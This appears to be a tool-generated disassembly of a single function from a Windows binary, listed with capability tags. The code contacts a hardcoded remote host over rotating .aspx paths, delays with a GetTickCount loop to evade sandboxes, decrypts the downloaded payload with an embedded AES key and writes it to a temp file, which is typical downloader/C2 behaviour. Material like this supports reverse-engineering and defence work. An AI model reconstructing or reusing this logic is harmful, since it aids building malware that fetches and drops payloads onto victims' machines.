Function at 0x402420
Capabilities:
Check for time delay via gettickcount
Check if file exists
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Terminate process
Write file on windows

Disassembly:
push ebp
sub esp, 0x6dc
lea ebp, [esp - 4]
mov eax, dword [0x41d06c]
xor eax, ebp
mov dword [ebp + 0x6dc], eax
push 0xb8
mov eax, 0x417d6e
call fcn.004139cb
xor ebx, ebx
mov dword [ebp - 4], ebx
mov word [ebp + 0x21c], bx
push 0x1fe
push ebx
lea eax, [ebp + 0x21e]
push eax
call fcn.00404950
push 0x41f648
push 0x41f448
push str._sTemp_s
lea eax, [ebp + 0x21c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
cmp dword [0x41f1c4], ebx
je 0x402aa4
mov word [ebp - 0xc4], 3
mov dword [ebp - 0xbc], 0xe
mov word [ebp - 0xb4], 8
mov dword [ebp - 0xac], ebx
mov word [ebp - 0x94], 8
mov eax, dword [0x41fc88]
mov dword [ebp - 0x8c], eax
mov word [ebp - 0x80], 0x2011
mov dword [ebp - 0x78], ebx
mov word [ebp - 0xa4], 8
mov byte [ebp - 0x18], bl
xor eax, eax
lea edi, [ebp - 0x17]
stosw word es:[edi], ax
push 9
pop ecx
mov esi, str._playlist.aspx_yf
lea edi, [ebp + 0x41c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5a
push ebx
lea eax, [ebp + 0x442]
push eax
call fcn.00404950
push 8
pop ecx
mov esi, str._pprune.aspx_yf
lea edi, [ebp + 0x49c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5e
push ebx
lea eax, [ebp + 0x4be]
push eax
call fcn.00404950
push 9
pop ecx
mov esi, str._dutchops.aspx_yf
lea edi, [ebp + 0x51c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5a
push ebx
lea eax, [ebp + 0x542]
push eax
call fcn.00404950
add esp, 0x24
mov esi, 0x460cb0
mov word [ebp + 0x1c], bx
push 0x1fe
push ebx
lea eax, [ebp + 0x1e]
push eax
call fcn.00404950
mov word [ebp + 0x61c], bx
push 0x7e
push ebx
lea eax, [ebp + 0x61e]
push eax
call fcn.00404950
mov byte [ebp + 0x69c], bl
push 7
pop ecx
xor eax, eax
lea edi, [ebp + 0x69d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x4c], ebx
lea eax, [ebp - 0x4c]
push eax
call fcn.00405281
add esp, 0x1c
test eax, eax
jne 0x4025b5
push 0xa
push 0x1f
lea eax, [ebp + 0x69c]
push eax
push dword [ebp - 0x4c]
call fcn.00405460
add esp, 0x10
lea eax, [ebp + 0x61c]
push eax
lea edi, [ebp + 0x69c]
call fcn.004035e1
mov eax, dword [0x41e514]
inc eax
cdq
push 3
pop ecx
idiv ecx
mov dword [0x41e514], edx
lea eax, [ebp + 0x61c]
push eax
shl edx, 7
lea eax, [ebp + edx + 0x41c]
push eax
push str.http:__default.diakoniewer.org_twit4ter
push str._s_s_s
lea eax, [ebp + 0x1c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp + 0x1c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x9c], eax
push 0x80
push ebx
lea eax, [ebp + 0x61c]
push eax
call fcn.00404950
lea eax, [ebp + 0x61c]
push eax
mov edi, 0x41fc8c
call fcn.004035e1
mov word [ebp + 0x59c], bx
push 0x7e
push ebx
lea eax, [ebp + 0x59e]
push eax
call fcn.00404950
push str.name
lea eax, [ebp + 0x61c]
push eax
push str._s_n_s
lea eax, [ebp + 0x59c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp + 0x59c]
push eax
call fcn.004049ca
mov edi, eax
inc edi
push 0x20800
push ebx
push 0x41fcb0
call fcn.00404950
add esp, 0x3c
push ebx
push ebx
lea eax, [edi + edi]
push eax
push 0x41fcb0
push edi
lea eax, [ebp + 0x59c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
push edi
call fcn.0040360c
mov dword [esp], 0x41000
push ebx
push esi
call fcn.00404950
dec edi
push edi
push esi
mov ecx, 0x41fcb0
call fcn.0040103e
add esp, 0x14
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ebx
lea eax, [ebp - 0x70]
push eax
push 1
push 0x11
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov edi, eax
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x70]
jge 0x402709
push dword [ebp - 0x34]
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [ebp - 0x34]
inc dword [ebp - 0x20]
jmp 0x4026eb
mov word [ebp - 0x80], 0x2011
mov dword [ebp - 0x78], edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], 0x3b9ac9f6
jae 0x40272e
inc dword [ebp - 0x3c]
jmp 0x402720
call edi
cmp dword [ebp - 0x1c], eax
jne 0x40273b
push ebx
call fcn.00405704
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x94]
push edx
lea edx, [ebp - 0x80]
push edx
lea edx, [ebp - 0xb4]
push edx
lea edx, [ebp - 0xc4]
push edx
lea edx, [ebp - 0xa4]
push edx
push eax
call dword [ecx + 0xd0]
push dword [ebp - 0x14]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call edi
mov dword [ebp - 0x30], ebx
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x58]
push edx
push eax
call dword [ecx + 0xe0]
cmp dword [ebp - 0x58], 4
je 0x4027a5
cmp dword [ebp - 0x30], 0x12
jg 0x4027a5
inc dword [ebp - 0x30]
jmp 0x402777
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x38], ebx
mov eax, dword [0x41f1c4]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push eax
call dword [ecx + 0x48]
cmp eax, ebx
jl 0x402a9a
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x402a9a
mov ecx, dword [eax]
lea edx, [ebp - 0x38]
push edx
push 0x418288
push eax
call dword [ecx]
cmp eax, ebx
jl 0x402a91
mov eax, dword [ebp - 0x38]
cmp eax, ebx
je 0x402a91
mov ecx, dword [eax]
lea edx, [ebp - 0x44]
push edx
push eax
call dword [ecx + 0x24]
cmp eax, ebx
jl 0x402a88
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
lea edx, [ebp - 0x40]
push edx
push eax
call dword [ecx + pe_nt_image_headers32]
test eax, eax
jl 0x402a88
push dword [ebp - 0x40]
call fcn.004043e0
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x40]
call edi
push str.______
push dword [ebp - 0x1c]
call fcn.00405790
pop ecx
pop ecx
mov dword [ebp - 0x54], eax
cmp eax, ebx
je 0x402a71
lea edi, [eax + 6]
mov dword [ebp - 0x2c], edi
push str._______
push edi
call fcn.00405790
mov dword [ebp - 0x14], eax
push 0x41a7c0
push edi
call fcn.00405790
add esp, 0x10
mov edi, eax
cmp dword [ebp - 0x14], ebx
je 0x402a71
cmp edi, ebx
je 0x402a71
push 3
push ebx
lea eax, [ebp - 0x18]
push eax
call fcn.00404950
mov eax, dword [ebp - 0x14]
sub eax, edi
sub eax, 5
push eax
lea eax, [edi + 5]
push eax
push 3
lea eax, [ebp - 0x18]
push eax
call fcn.00405816
add esp, 0x1c
cmp byte [ebp - 0x17], 0x30
jne 0x4028c2
lea eax, [ebp + 0x21c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4028c2
lea eax, [ebp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x14], eax
cmp eax, 0xffffffff
jne 0x4028ec
push eax
jmp 0x402a6b
push 0x41000
push ebx
push esi
call fcn.00404950
sub edi, dword [ebp - 0x54]
sub edi, 6
push edi
push esi
mov eax, dword [ebp - 0x2c]
call fcn.00401202
add esp, 0x14
mov ecx, eax
mov dword [ebp - 0x2c], ecx
mov byte [ebp + 0x6cc], bl
xor eax, eax
lea edi, [ebp + 0x6cd]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp + 0x6bc], bl
xor eax, eax
lea edi, [ebp + 0x6bd]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov dword [ebp - 0x68], eax
push 0x10
pop edi
cmp eax, edi
jge 0x402954
mov dl, byte [eax + 0x460cb0]
mov byte [ebp + eax + 0x6cc], dl
inc eax
jmp 0x40293a
xor eax, eax
mov dword [ebp - 0x50], eax
cmp eax, edi
jge 0x40296e
mov dl, byte [eax + ecx + 0x460ca0]
mov byte [ebp + eax + 0x6bc], dl
inc eax
jmp 0x402956
mov byte [ebp], 8
mov byte [ebp + 1], 2
mov word [ebp + 2], bx
mov dword [ebp + 4], 0x660e
mov dword [ebp + 8], edi
push 0x20800
push ebx
mov edi, 0x4404b0
push edi
call fcn.00404950
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x2c]
lea edx, [ecx - 0x20]
cmp eax, edx
jge 0x4029b6
mov cl, byte [eax + 0x460cc0]
mov byte [eax + 0x4404b0], cl
inc eax
jmp 0x40299a
add ecx, 0xffffffe0
mov dword [ebp - 0x48], ecx
xor eax, eax
mov dword [ebp - 0x60], eax
cmp eax, 0x10
jge 0x4029d4
mov cl, byte [ebp + eax + 0x6cc]
mov byte [ebp + eax + 0xc], cl
inc eax
jmp 0x4029be
push 0xf0000000
push 0x18
push ebx
push ebx
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x402aa4
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
push 0x1c
lea eax, [ebp]
push eax
push dword [ebp - 0x64]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x402a46
push ebx
lea eax, [ebp + 0x6bc]
push eax
push 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x402aa4
lea eax, [ebp - 0x48]
push eax
push edi
push ebx
push 1
push ebx
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x402aa4
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
test eax, eax
je 0x402aa4
push 2
push ebx
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x84]
push eax
push dword [ebp - 0x48]
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp dword [ebp - 0x1c], ebx
je 0x402a88
push dword [ebp - 0x1c]
call fcn.004058c9
pop ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
cmp byte [ebp - 0x18], 0x30
je 0x40254d
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x6dc]
xor ecx, ebp
call fcn.0040488f
add ebp, 0x6e0
leave
ret